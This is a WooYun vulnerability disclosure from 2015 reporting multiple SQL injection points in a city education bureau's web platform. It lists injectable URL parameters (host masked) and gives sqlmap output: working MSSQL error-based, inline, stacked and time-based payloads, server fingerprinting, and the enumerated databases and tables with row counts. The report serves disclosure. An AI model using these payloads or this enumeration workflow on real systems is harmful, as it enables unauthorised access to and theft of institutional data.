当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0158824

漏洞标题:某市教育局多处SQL注入

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-12-09 00:20

修复时间:2016-01-23 15:16

公开时间:2016-01-23 15:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-09: 细节已通知厂商并且等待厂商处理中
2015-12-11: 厂商已经确认,细节仅向厂商公开
2015-12-21: 细节向核心白帽子及相关领域专家公开
2015-12-31: 细节向普通白帽子公开
2016-01-10: 细节向实习白帽子公开
2016-01-23: 细节向公众公开

简要描述:

rt

详细说明:

http://**.**.**.**/Sites/Store/GoodsDetils.aspx?autoID=1


http://**.**.**.**/Sites/Resource/IndexList.aspx?XD=2


http://**.**.**.**/txt_more.aspx?groupID=29&&orderbyID=1&&page=1


http://**.**.**.**/District/DisDefault/NewVideo.aspx?order=


http://**.**.**.**/PlatRegister/GetXN.aspx?depID=


http://**.**.**.**/OA/OA_BasicManagement/SetUserDuty.aspx?dutyId=


http://**.**.**.**/Public/FileDownload.aspx?fileID=


http://**.**.**.**/CenterSpace/CenterSpace4YQ/VideoManagerVEdit.aspx?videoID=


http://**.**.**.**/School/SchoolResouse/ResourceShow.aspx?fid=250801


http://**.**.**.**/CenterSpace/CenterSpace4LBB/Recommend_friends.aspx?num=5


http://**.**.**.**/CenterSpace/CenterSpace4DJH/ReplyList.aspx?share_id=


引号报错。

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: XD (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: XD=2 AND 6009=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(118)+CHAR(112)+CHAR(113)+(S
LECT (CASE WHEN (6009=6009) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(113)+CHAR(11
)+CHAR(113)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: XD=(SELECT CHAR(113)+CHAR(120)+CHAR(118)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (9729=
729) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(113)+CHAR(112)+CHAR(113))
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: XD=2;WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: XD=2 WAITFOR DELAY '0:0:5'
---
[15:46:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[15:46:49] [INFO] fetching database names
[15:46:49] [INFO] the SQL query used returns 14 entries
[15:46:49] [INFO] resumed: master
[15:46:49] [INFO] resumed: model
[15:46:49] [INFO] resumed: msdb
[15:46:49] [INFO] resumed: ReportServer
[15:46:49] [INFO] resumed: ReportServerTempDB
[15:46:49] [INFO] resumed: szxy_question
[15:46:49] [INFO] resumed: tempdb
[15:46:49] [INFO] resumed: 教师培训
[15:46:49] [INFO] resumed: 南昌资源公共服务平台
[15:46:49] [INFO] resumed: 南昌资源公共服务平台V3.0
[15:46:49] [INFO] resumed: 区县版_实施
[15:46:49] [INFO] resumed: 云录播平台
[15:46:49] [INFO] resumed: 资源公共服务平台
[15:46:49] [INFO] resumed: 资源公共服务平台V4
available databases [14]:
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] szxy_question
[*] tempdb
[*] 云录播平台
[*] 区县版_实施
[*] 南昌资源公共服务平台
[*] 南昌资源公共服务平台V3.0
[*] 教师培训
[*] 资源公共服务平台
[*] 资源公共服务平台V4

漏洞证明:

Database: szxy_question
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| dbo.SShiti | 700796 |
| dbo.SShitiForZhishidian | 700796 |
| dbo.SDaan | 700104 |
| dbo.MMenhuGongxiang | 330330 |
| dbo.ZZiyuanForFanwei | 329741 |
| dbo.view_res_filemanager | 329394 |
| dbo.ZZiyuanWenjian | 329393 |
| dbo.view_resfileSubCorres | 327488 |
| dbo.ZZiyuanForXueke | 327488 |
| dbo.view_unitInfor | 139505 |
| dbo.XDanwei | 135985 |
| dbo.view_knowledge | 43551 |
| dbo.XZhishidianZi | 43534 |
| dbo.XFangwenJiluLog | 13528 |
| dbo.ZZiyuanForZhuanti | 10068 |
| dbo.BRizhi | 4357 |
| dbo.XZhangjie | 3372 |
| dbo.XQuxian | 3146 |
| dbo.ZZiyuanJilu | 3011 |
| dbo.JPingtaiXiaoxiJieguo | 2525 |
| dbo.tk_question_error | 2176 |
| dbo.JKaoHeJihuaJieguo | 2162 |
| dbo.JJueseCaidan | 1300 |
| dbo.ZZiyuanLiulan | 1120 |
| dbo.JDongtaiXinxi | 1098 |
| dbo.BPaikeJiaoxuejihuaD | 1020 |
| dbo.GRiqi | 1000 |
| dbo.JBanjiRenyuanLishi | 946 |
| dbo.JJibeiRenwuRenyuan | 805 |
| dbo.JJueseRenyuan | 793 |
| dbo.JCaidan | 689 |
| dbo.JRenyuan | 649 |
| dbo.view_new_base_user | 649 |
| dbo.RPengyouFagnwen | 602 |
| dbo.ZMingshiYonghuJilu | 595 |
| dbo.BXuanxiang | 550 |
| dbo.JPingtaiXiaoxiTi | 538 |
| dbo.JPingtaiXiaoxiTou | 538 |
| dbo.KTongUCZhuyi | 528 |
| dbo.JJichuPinglun | 465 |
| dbo.ZZiyuanLiuzhuan | 460 |
| dbo.KTongShijianBiao | 458 |
| dbo.ZZiyuanGeren | 442 |
| dbo.SShitiXueke | 424 |
| dbo.JJiaoshiKemu | 423 |
| dbo.view_teacherSubject | 423 |
| dbo.JJibeiCanyuren | 384 |
| dbo.BRenshiYonghu | 350 |
| dbo.XChengshi | 342 |
| dbo.XCebie | 320 |
| dbo.GTupian | 316 |
| dbo.JCaidanZigongneng | 263 |
| dbo.ZZiyuanQunzu | 237 |
| dbo.XCuowuLog | 236 |
| dbo.SShitiLeixing | 232 |
| dbo.JBanjiRenyuan | 223 |
| dbo.AFangwen | 219 |
| dbo.SZancunShijuanShiti | 197 |
| dbo.PPingtaizaixianRenshu | 172 |
| dbo.ZZiyuanForZhishidian | 156 |
| dbo.JDengluJilu | 146 |
| dbo.JQunzhu | 143 |
| dbo.SZancunShijuanYangshi | 138 |
| dbo.ZMingshiXunlianBumen | 137 |
| dbo.ZMenhuXiazai | 129 |
| dbo.XDanweiForXueduan | 123 |
| dbo.SShitiForShijuan | 111 |
| dbo.BHuodongDengji | 110 |
| dbo.GZibanjifenxiang | 110 |
| dbo.GRizhi | 98 |
| dbo.JBanji | 95 |
| dbo.BGongzuoShiliBuzhou | 93 |
| dbo.BYoujianGaunxi | 87 |
| dbo.XKechengMulu | 86 |
| dbo.JJibeiRenwu | 83 |
| dbo.KTongZuoyeHuida | 79 |
| dbo.BGongzuoLiuJiedian | 75 |
| dbo.BBanjiDianming | 74 |
| dbo.RPengyouZhuangtai | 74 |
| dbo.ZZiyuanDongtai | 74 |
| dbo.WKechengNeirong | 72 |
| dbo.BWenjuanXuanxiang | 71 |
| dbo.BWupinRenling | 71 |
| dbo.KTongUCJieshou | 71 |
| dbo.SXiazai | 71 |
| dbo.AICTJilu | 68 |
| dbo.KTongZuoyeWenti | 68 |
| dbo.SZancunShijuanMokuai | 68 |
| dbo.BGongzuoShiliJilu | 67 |
| dbo.BBeikeKechengWenti | 65 |
| dbo.BBeikeKechengNeirong | 63 |
| dbo.JJigou | 63 |
| dbo.MMenhuPeizhi | 63 |
| dbo.BTongzhiGuanxi | 62 |
| dbo.SShijuanMokuai | 61 |
| dbo.XZhuantiXiangmu | 61 |
| dbo.MMenhuDongtaiLanwei | 60 |
| dbo.WWeikeDanan | 58 |
| dbo.BGongzuoJiedian | 55 |
| dbo.MMenhuXinwen | 55 |
| dbo.JQingziGuanxi | 54 |
| dbo.BBeikeKechengBanji | 53 |
| dbo.BYonghuZuRenyuan | 52 |
| dbo.BYoujianFujian | 52 |
| dbo.JXiezuozuRenyuan | 52 |
| dbo.JJifenJiu | 50 |
| dbo.RPengyouLiulanliang | 50 |
| dbo.ZZiyuanFanwei | 50 |
| dbo.KTongZuoyeNeirong | 49 |
| dbo.WKechengWenTi | 48 |
| dbo.BBeikeKecheng | 47 |
| dbo.BGongzuoShili | 47 |
| dbo.BGongzuoShiliJiedian | 46 |
| dbo.KTongUCXunbu | 46 |
| dbo.SShijuanYangshi | 45 |
| dbo.BWupinGuashi | 44 |
| dbo.BYoujian | 44 |
| dbo.BYoujianFasong | 43 |
| dbo.MMenhuLishi | 43 |
| dbo.GLiuyanXinxi | 42 |
| dbo.XXueke | 41 |
| dbo.XZhishidian | 41 |
| dbo.GRizhiFenlei | 40 |
| dbo.SZancunShijuan | 40 |
| dbo.GXiangce | 39 |
| dbo.JJuese | 39 |
| dbo.KTongZuoyeBanji | 39 |
| dbo.SShijuan | 39 |
| dbo.ZZiyuanGerenForFenlei | 39 |
| dbo.ZZiyuanGerenFenlei | 38 |
| dbo.PPingtaiTongzhi | 37 |
| dbo.BBiaodanJiandan | 36 |
| dbo.KTongZuoye | 36 |
| dbo.WKechengWenjian | 36 |
| dbo.BCaiDanSubListMe | 35 |
| dbo.JJibei | 35 |
| dbo.BHuodong | 34 |
| dbo.BWenjuanWenti | 34 |
| dbo.JJibeiTaolun | 34 |
| dbo.XSheng | 34 |
| dbo.JBanjiFangwenliang | 33 |
| dbo.MMenhuLanmu | 33 |
| dbo.KTongAnpai | 32 |
| dbo.MMenhuXinwenFujian | 32 |
| dbo.BGongzuoShiliFujian | 31 |
| dbo.BWenjuanDanjuan | 29 |
| dbo.MMenhuJueseLanmu | 29 |
| dbo.WKechengBanji | 29 |
| dbo.BTongzhi | 28 |
| dbo.JJibeiBeike | 28 |
| dbo.ZMingshiXunlianPingguDefen | 28 |
| dbo.ZZiyuanBiaoqian | 28 |
| dbo.BGerenLunwen | 26 |
| dbo.BXietongJilu | 26 |
| dbo.JBanjiZhaopian | 26 |
| dbo.WKecheng | 26 |
| dbo.BBeikeKechengWenjian | 25 |
| dbo.BBiaodanGonggong | 25 |
| dbo.KTongZuoHWLeixing | 25 |
| dbo.JToupiaoXuanxian | 24 |
| dbo.MMenhuJueseRenyuan | 24 |
| dbo.MMenhuYouqing | 23 |
| dbo.BGongzuoLiu | 22 |
| dbo.BLuntan | 22 |
| dbo.BYundongXiangmu | 22 |
| dbo.ZMenhuShoucang | 22 |
| dbo.BGerenRongyu | 21 |
| dbo.BShouyeGuanli | 21 |
| dbo.JJibeiXiugaiJilu | 21 |
| dbo.KTongUCZhufu | 21 |
| dbo.ZMingshiLinshiCeshi | 21 |
| dbo.BBanjiKaoqin | 20 |
| dbo.BGongwenGuanxi | 20 |
| dbo.BKebiaoJiaoshiShiyong | 20 |
| dbo.JChangliangCanshu | 20 |
| dbo.JSQLTongbu | 20 |
| dbo.ZMenhuShoucangFolder | 20 |
| dbo.BGerenKeti | 19 |
| dbo.BTushu | 19 |
| dbo.MMenhuGuanggao | 19 |
| dbo.STikuLeixing | 19 |
| dbo.BBanjiDianmingMingxi | 18 |
| dbo.JQunzhuhuodongguanxi | 18 |
| dbo.ZMingshiZhuanti | 18 |
| dbo.BBanjiTongzhi | 17 |
| dbo.BCaiDanListMe | 17 |
| dbo.BClassQimojiyu | 17 |
| dbo.GYingyongZhaopian | 17 |
| dbo.JJibeiRenwuMobanS | 17 |
| dbo.BKetangPingjiaMingxi | 16 |
| dbo.JYonghuDefen | 16 |
| dbo.BBiaodan | 15 |
| dbo.BKaoshiChengji | 15 |
| dbo.BPaikeJiaoxuejihua | 15 |
| dbo.BYundongFujian | 15 |
| dbo.BYundongZhubiao | 15 |
| dbo.SCaozuo | 15 |
| dbo.WKechengMoban | 15 |
| dbo.XNianji | 15 |
| dbo.ZZiyuanGongkaiMiaoshu | 15 |
| dbo.GTongzhi | 14 |
| dbo.GYingyong | 14 |
| dbo.JJibeiFujian | 14 |
| dbo.JZidianShuju | 14 |
| dbo.SShoucang | 14 |
| dbo.XJiaocai | 14 |
| dbo.ZZiyuanPingjia | 14 |
| dbo.ZZiyuanShenheJilu | 14 |
| dbo.BKaoshiKemu | 13 |
| dbo.BYunpanMulu | 13 |
| dbo.AXinwen | 12 |
| dbo.BGongzuoLuyouWeituo | 12 |
| dbo.BXunzhangLeixing | 12 |
| dbo.JKaoheJihua | 12 |
| dbo.PPingtaiTupian | 12 |
| dbo.WeInfo | 12 |
| dbo.ZMingshiXunlian | 12 |
| dbo.GYingyongFenlei | 11 |
| dbo.JJibeiFansi | 11 |
| dbo.WKechengFansi | 11 |
| dbo.XDiquQunzu | 11 |
| dbo.ZMingshiAnli | 11 |
| dbo.ZMingshiXunlianXuexi | 11 |
| dbo.ZMingshiYouyue | 11 |
| dbo.BLuntanBankuai | 10 |
| dbo.BTushuJieyueJilu | 10 |
| dbo.BKebiaoKeshi | 9 |
| dbo.BXietongBuzhou | 9 |
| dbo.ZZiyuanZhishidian | 9 |
| dbo.BBumen | 8 |
| dbo.BGongwen | 8 |
| dbo.BTushuLeixing | 8 |
| dbo.GZhandianxinxi | 8 |
| dbo.JQunzhuhuodong | 8 |
| dbo.KTongUCFunjian | 8 |
| dbo.ZMingshiXunlianTaolun | 8 |
| dbo.ZZiyuanShipinJilu | 8 |
| dbo.BHuiyiShi | 7 |
| dbo.BPingguHuodongZhishu | 7 |
| dbo.BRenshiKuozhan | 7 |
| dbo.KTongZuoyeFujian | 7 |
| dbo.MMenhuJuese | 7 |
| dbo.ZMingshiXunlianPinggu | 7 |
| dbo.ZMingshiXunlianShezhi | 7 |
| dbo.BPinglunGuanliMinxiDefen | 6 |
| dbo.BPinglunMobanMinxi | 6 |
| dbo.BYonghuZu | 6 |
| dbo.BZhiwuRenyuan | 6 |
| dbo.KTongJiangzhang | 6 |
| dbo.WBofangqiPifu | 6 |
| dbo.ZMingshiXunlianShipin | 6 |
| dbo.ZMingshiXunlianWenjian | 6 |
| dbo.AShujukuBeifen | 5 |
| dbo.BAnquanRenyuan | 5 |
| dbo.BCheliang | 5 |
| dbo.BGongzuoLuyou | 5 |
| dbo.BHuiyi | 5 |
| dbo.BKebiaoJiaoshiGuanxi | 5 |
| dbo.BPaikeGongkaike | 5 |
| dbo.BPingguDengji | 5 |
| dbo.BPingguXuexiao | 5 |
| dbo.BRenwu | 5 |
| dbo.BTongzhiLeixing | 5 |
| dbo.BZidingyiZiduan | 5 |
| dbo.BZuoyeMingxi | 5 |
| dbo.JToupiaoZhuti | 5 |
| dbo.SNandu | 5 |
| dbo.SRemenSousuo | 5 |
| dbo.ZMingshiXunlianNeirong | 5 |
| dbo.ZMingshiXunlianPostLiebiao | 5 |
| dbo.ZMingshiZhuantiWenjian | 5 |
| dbo.BAnquanQianyi | 4 |
| dbo.BCheliangSiji | 4 |
| dbo.BKebiaoJiaoshi | 4 |
| dbo.BPaikeGongkaikeMingxi | 4 |
| dbo.BPingguZhishu | 4 |
| dbo.BRenshiJianli | 4 |
| dbo.BRenshiLunwen | 4 |
| dbo.BRenshiRongyu | 4 |
| dbo.BTongxunLianxiren | 4 |
| dbo.BWordBiaodan | 4 |
| dbo.BYunpanZiyuan | 4 |
| dbo.BZhiwu | 4 |
| dbo.BZhiwuGuanxi | 4 |
| dbo.GHuatiYingyong | 4 |
| dbo.GKaifazheRenyuan | 4 |
| dbo.JBanjiXiangce | 4 |
| dbo.JJibeiZiyuanFujian | 4 |
| dbo.JToupiaoJieguo | 4 |
| dbo.JXuekezuRenyuan | 4 |
| dbo.MMenhuYouqingFenlei | 4 |
| dbo.SKaoshiLeixing | 4 |
| dbo.WeChat | 4 |
| dbo.ZMingshiPingjiaMubiao | 4 |
| dbo.ZMingshiXunlianDaan | 4 |
| dbo.ZMingshiXunlianRenyuan | 4 |
| dbo.ZMingshiXunlianWenti | 4 |
| dbo.ZZiYuanPaiHang | 4 |
| dbo.BAnquanPeixun | 3 |
| dbo.BCheliangBaoyang | 3 |
| dbo.BCheliangJiayou | 3 |
| dbo.BKaoqin | 3 |
| dbo.BKebiaoTeshuAnpai | 3 |
| dbo.BPinglunGuanli | 3 |
| dbo.BPinglunMoban | 3 |
| dbo.BRenshiYonghuKuozhan | 3 |
| dbo.BRenwuLiebiao | 3 |
| dbo.BShensuAnli | 3 |
| dbo.BTongxunFenzu | 3 |
| dbo.BWenjuanMoban | 3 |
| dbo.BWenjuanShili | 3 |
| dbo.BXietongGongzuo | 3 |
| dbo.GFenxiang | 3 |
| dbo.JJibeiRenwuMobanM | 3 |
| dbo.JJifenShangpin | 3 |
| dbo.JXiezuozu | 3 |
| dbo.JXiezuozuLeixing | 3 |
| dbo.MMenhuBanquan | 3 |
| dbo.MMenhuBanshi | 3 |
| dbo.MMenhuBanshiSheding | 3 |
| dbo.MMenhuTianqi | 3 |
| dbo.WGerenShipinGuanxi | 3 |
| dbo.XXueduan | 3 |
| dbo.XYunyi | 3 |
| dbo.BAnquanAnianC | 2 |
| dbo.BAnquanAnianM | 2 |
| dbo.BAnquanJianchaxiangmu | 2 |
| dbo.BCheliangBaoxian | 2 |
| dbo.BCheliangNianjian | 2 |
| dbo.BCheliangWeixiu | 2 |
| dbo.BCheliangWeizhang | 2 |
| dbo.BDajishi | 2 |
| dbo.BKaoshi | 2 |
| dbo.BKebiaoShezhi | 2 |
| dbo.BPingguHuodong | 2 |
| dbo.BRenshiGuanxi | 2 |
| dbo.BRenshiKuozhanXuanxiang | 2 |
| dbo.BRenwuMoban | 2 |
| dbo.BWenjuanJieguo | 2 |
| dbo.BZichanLeixing | 2 |
| dbo.BZidingyiBiaoming | 2 |
| dbo.GHuati | 2 |
| dbo.GYingyongDalei | 2 |
| dbo.JJiaoshiLvli | 2 |
| dbo.JJiaoyuZhuanye | 2 |
| dbo.JJibeiFansiGuanxi | 2 |
| dbo.WShipin | 2 |
| dbo.ZMingshiGonggao | 2 |
| dbo.ZMingshiZhuantiWenjianShu | 2 |
| dbo.BBiaodanDitu | 1 |
| dbo.BGongzuoJiShu | 1 |
| dbo.BKaoqinChuchai | 1 |
| dbo.BKaoqinQingjia | 1 |
| dbo.BKaoqinShijian | 1 |
| dbo.BKaoqinWaichu | 1 |
| dbo.BKebiaoKeshiAnpai | 1 |
| dbo.BKebiaoXueqi | 1 |
| dbo.BPingguMoban | 1 |
| dbo.BPinglunGuanliMinxi | 1 |
| dbo.BRenshiBiandong | 1 |
| dbo.BRenshiPeixun | 1 |
| dbo.BWenjuanDanjuanM | 1 |
| dbo.BYongpinBangong | 1 |
| dbo.BZichan | 1 |
| dbo.BZichanMingxi | 1 |
| dbo.BZichanShenqing | 1 |
| dbo.BZichanZhaopian | 1 |
| dbo.BZuoye | 1 |
| dbo.GShipin | 1 |
| dbo.JChangYongGongNeng | 1 |
| dbo.JZhandianGuanli | 1 |
| dbo.MMenhuXitongLanmu | 1 |
| dbo.SMobanYangshi | 1 |
| dbo.SShitiLinshi | 1 |
| dbo.WBofangqi | 1 |
| dbo.XDiquForBushu | 1 |
+--------------------------------+---------+


Database: 资源公共服务平台V4
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| dbo.ZZiyuanLiulan | 648832 |
| dbo.SShitiForZhishidian | 514809 |
| dbo.SDaan | 514278 |
| dbo.SShiti | 512183 |
| dbo.ZZiyuanForFanwei | 329899 |
| dbo.view_res_filemanager | 329503 |
| dbo.ZZiyuanWenjian | 329496 |
| dbo.MMenhuGongxiang | 329421 |
| dbo.view_resfileSubCorres | 327589 |
| dbo.ZZiyuanForXueke | 327589 |
| dbo.JJueseRenyuan | 147337 |
| dbo.JRenyuan | 98137 |
| dbo.view_new_base_user | 98137 |
| dbo.XFangwenJiluLog | 77581 |
| dbo.JQunzhu | 72510 |
| dbo.JBanji | 72340 |
| dbo.JBanjiRenyuan | 23197 |
| dbo.ZZiyuanGeren | 11230 |
| dbo.XZhangjie | 10382 |
| dbo.ZZiyuanForZhuanti | 10070 |
| dbo.JJiaoshiKemu | 9499 |
| dbo.view_teacherSubject | 9499 |
| dbo.view_knowledge | 9453 |
| dbo.XZhishidianZi | 9443 |
| dbo.ZZiyuanJilu | 9002 |
| dbo.JDengluJilu | 7339 |
| dbo.BRenshiYonghu | 6431 |
| dbo.JYonghuDefen | 5862 |
| dbo.view_unitInfor | 5430 |
| dbo.JPingtaiXiaoxiJieguo | 5260 |
| dbo.jTongYiShenFen | 4759 |
| dbo.BRizhi | 4639 |
| dbo.ZMenhuXiazai | 4167 |
| dbo.XQuxian | 3150 |
| dbo.JJueseCaidan | 2411 |
| dbo.JBanjiRenyuanLishi | 2262 |
| dbo.XDanweiForXueduan | 2153 |
| dbo.BPaikeJiaoxuejihuaD | 1997 |
| dbo.XDanwei | 1966 |
| dbo.JJifenJiu | 1497 |
| dbo.JPingtaiXiaoxiTi | 1269 |
| dbo.JPingtaiXiaoxiTou | 1269 |
| dbo.JDongtaiXinxi | 1247 |
| dbo.BKaoshiChengji | 1202 |
| dbo.MMenhuLiuyan | 1153 |
| dbo.SZancunShijuanShiti | 1034 |
| dbo.GRiqi | 1000 |
| dbo.JCaidan | 716 |
| dbo.KTongUCZhuyi | 698 |
| dbo.ZMingshiYonghuJilu | 595 |
| dbo.BXuanxiang | 569 |
| dbo.SShitiForShijuan | 495 |
| dbo.XDiquYuansu | 457 |
| dbo.GTupian | 441 |
| dbo.PPingtaizaixianRenshu | 405 |
| dbo.XKechengMulu | 403 |
| dbo.AFangwen | 390 |
| dbo.BTongzhiGuanxi | 360 |
| dbo.XChengshi | 342 |
| dbo.MMenhuXinwenFujian | 325 |
| dbo.SZancunShijuanMokuai | 294 |
| dbo.JJibeiRenwuRenyuan | 284 |
| dbo.BYoujianGaunxi | 280 |
| dbo.ZZiyuanForZhishidian | 269 |
| dbo.MMenhuXinwen | 268 |
| dbo.JChangYongGongNeng | 254 |
| dbo.MMenhuDongtaiLanwei | 251 |
| dbo.BGongzuoShiliBuzhou | 242 |
| dbo.JjifenRenwuJiLu | 239 |
| dbo.MMenhuLishi | 231 |
| dbo.SShitiXueke | 224 |
| dbo.BZidingyiZiduan | 221 |
| dbo.ZZiyuanLiuzhuan | 203 |
| dbo.BGongzuoLiuJiedian | 199 |
| dbo.MMenhuLanmu | 192 |
| dbo.BGongzuoShiliJilu | 183 |
| dbo.JJichuPinglun | 181 |
| dbo.MMenhuJueseLanmu | 180 |
| dbo.GRizhi | 174 |
| dbo.KTongZuoyeHuida | 171 |
| dbo.RPengyouFagnwen | 167 |
| dbo.XCebie | 165 |
| dbo.BYonghuZuRenyuan | 162 |
| dbo.BZuoyeMingxi | 156 |
| dbo.WWeikeDanan | 156 |
| dbo.BGongzuoJiedian | 150 |
| dbo.KTongZuoyeNeirong | 148 |
| dbo.BGongzuoShiliJiedian | 138 |
| dbo.SShijuanMokuai | 138 |
| dbo.BZhiwuRenyuan | 137 |
| dbo.ZMingshiXunlianBumen | 137 |
| dbo.SShitiLeixing | 128 |
| dbo.BGongwenGuanxi | 127 |
| dbo.LXWenDaLeiXing | 127 |
| dbo.SZancunShijuanYangshi | 125 |
| dbo.RPengyouLiulanliang | 124 |
| dbo.PQunzuRenyuan | 122 |
| dbo.KTongAnpai | 119 |
| dbo.ZZiYuanPaiHang | 118 |
| dbo.GZibanjifenxiang | 110 |
| dbo.BBanjiDianmingMingxi | 109 |
| dbo.JBanjiFangwenliang | 108 |
| dbo.GXiangce | 107 |
| dbo.BGongzuoShili | 104 |
| dbo.SZancunShijuan | 104 |
| dbo.ZZiyuanQunzu | 103 |
| dbo.BZichanMingxi | 102 |
| dbo.ZZiyuanGongkaiMiaoshu | 96 |
| dbo.JBanjiZhaopian | 92 |
| dbo.KTongZuoyeWenti | 90 |
| dbo.BTongxunLianxiren | 89 |
| dbo.WeInfo | 87 |
| dbo.ZMenhuShoucang | 87 |
| dbo.BBiaodanJiandan | 85 |
| dbo.Jyonghuqiandao | 80 |
| dbo.BTongzhi | 76 |
| dbo.WKechengWenTi | 74 |
| dbo.ZZiyuanDongtai | 74 |
| dbo.BGongzuoLiu | 73 |
| dbo.BBeikeKechengBanji | 72 |
| dbo.GRizhiFenlei | 72 |
| dbo.BBeikeKechengWenti | 70 |
| dbo.BKetangPingjiaMingxi | 70 |
| dbo.JJiFen | 68 |
| dbo.BYoujian | 65 |
| dbo.JXiezuozuRenyuan | 65 |
| dbo.SShijuan | 64 |
| dbo.BBiaodanGonggong | 63 |
| dbo.BKebiaoShezhi | 63 |
| dbo.JJibeiCanyuren | 63 |
| dbo.XZhuantiXiangmu | 62 |
| dbo.BBumen | 59 |
| dbo.JJuese | 58 |
| dbo.BBeikeKecheng | 57 |
| dbo.BBanjiKaoqin | 56 |
| dbo.BPingguXuexiao | 52 |
| dbo.BBiaodan | 51 |
| dbo.ZZiyuanFanwei | 50 |
| dbo.BShouyeGuanli | 49 |
| dbo.BXietongJilu | 49 |
| dbo.XXueke | 49 |
| dbo.BYoujianFujian | 48 |
| dbo.BPaikeJiaoxuejihua | 47 |
| dbo.KTongZuoyeBanji | 47 |
| dbo.BYoujianFasong | 46 |
| dbo.BZhiwu | 46 |
| dbo.WKecheng | 46 |
| dbo.ZMenhuShoucangFolder | 46 |
| dbo.GZhandianxinxi | 45 |
| dbo.BXietongBuzhou | 44 |
| dbo.SXiazai | 44 |
| dbo.BKaoshiKemu | 43 |
| dbo.BLuntan | 42 |
| dbo.SShijuanYangshi | 42 |
| dbo.JJibeiRenwu | 41 |
| dbo.LXDaoXueJiLu | 41 |
| dbo.BGongzuoLuyouWeituo | 40 |
| dbo.SShoucang | 38 |
| dbo.XZhishidian | 38 |
| dbo.JToupiaoXuanxian | 37 |
| dbo.KTongUCZhufu | 37 |
| dbo.WKechengBanji | 37 |
| dbo.BCaiDanSubListMe | 35 |
| dbo.JChangliangCanshu | 35 |
| dbo.RPengyouZhuangtai | 35 |
| dbo.KTongUCJieshou | 34 |
| dbo.XSheng | 34 |
| dbo.JJibeiTaolun | 32 |
| dbo.JJibeiXiugaiJilu | 32 |
| dbo.BBanjiDianming | 31 |
| dbo.BGongwen | 31 |
| dbo.BHuodong | 31 |
| dbo.BGongzuoLuyou | 30 |
| dbo.BTongzhiLeixing | 30 |
| dbo.KTongZuoye | 30 |
| dbo.WKechengWenjian | 30 |
| dbo.BGongzuoShiliFujian | 29 |
| dbo.BXietongGongzuo | 29 |
| dbo.ZZiyuanBiaoqian | 29 |
| dbo.ZMingshiXunlianPingguDefen | 28 |
| dbo.BZidingyiBiaoming | 27 |
| dbo.Gzan | 27 |
| dbo.LXDaoXueKeCheng | 27 |
| dbo.BKebiaoKeshi | 26 |
| dbo.BWenjuanXuanxiang | 26 |
| dbo.JJibeiBeike | 26 |
| dbo.KTongUCXunbu | 26 |
| dbo.BPingguDengji | 25 |
| dbo.BYongpinDengji | 25 |
| dbo.JBanjiXiangce | 25 |
| dbo.KTongZuoHWLeixing | 25 |
| dbo.BLuntanBankuai | 24 |
| dbo.WKechengMoban | 24 |
| dbo.BWenjuanDanjuan | 23 |
| dbo.LXDaoXueHuanJie | 23 |
| dbo.BHuodongDengji | 22 |
| dbo.GYingyong | 22 |
| dbo.ZZiyuanPingjia | 22 |
| dbo.BHuiyi | 21 |
| dbo.GLiuyanXinxi | 21 |
| dbo.PQunzu | 21 |
| dbo.ZMingshiLinshiCeshi | 21 |
| dbo.BPingguHuodongZhishu | 20 |
| dbo.JZhandianGuanli | 20 |
| dbo.XNianji | 20 |
| dbo.BBanjiTongzhi | 19 |
| dbo.AXinwen | 18 |
| dbo.JQunzhuhuodongguanxi | 18 |
| dbo.ZMingshiZhuanti | 18 |
| dbo.BCaiDanListMe | 17 |
| dbo.BYonghuZu | 17 |
| dbo.MMenhuGuanggao | 17 |
| dbo.SCaozuo | 17 |
| dbo.MMenhuYouqing | 16 |
| dbo.BClassQimojiyu | 15 |
| dbo.BRenwu | 15 |
| dbo.BWupinRenling | 15 |
| dbo.BYongpinBangong | 15 |
| dbo.JJibeiRenwuMobanS | 15 |
| dbo.SchoolYingyong | 15 |
| dbo.BPinglunMobanMinxi | 14 |
| dbo.BTushu | 14 |
| dbo.BWenjuanWenti | 14 |
| dbo.BWupinGuashi | 14 |
| dbo.BZichanWeixiu | 14 |
| dbo.JZidianShuju | 14 |
| dbo.WKechengNeirong | 14 |
| dbo.BKaoqin | 13 |
| dbo.BXunzhangLeixing | 13 |
| dbo.JXiezuozu | 13 |
| dbo.BKebiaoKeshiAnpai | 12 |
| dbo.BPingguZhishu | 12 |
| dbo.BTushuJieyueJilu | 12 |
| dbo.BTushuLeixing | 12 |
| dbo.BYunpanZiyuan | 12 |
| dbo.WPingkeDengji | 12 |
| dbo.ZMingshiXunlian | 12 |
| dbo.BBanjiTongzhiFujian | 11 |
| dbo.GYingyongFenlei | 11 |
| dbo.JJibei | 11 |
| dbo.JjifenDuihuan | 11 |
| dbo.LXDaoXueCangKe | 11 |
| dbo.XDiquQunzu | 11 |
| dbo.BWordBiaodan | 10 |
| dbo.BZhiwuGuanxi | 10 |
| dbo.BZichanZhaopian | 10 |
| dbo.STikuLeixing | 10 |
| dbo.BPinglunGuanliMinxiDefen | 9 |
| dbo.BRenwuLiebiao | 9 |
| dbo.BZDdaohang | 9 |
| dbo.JToupiaoJieguo | 9 |
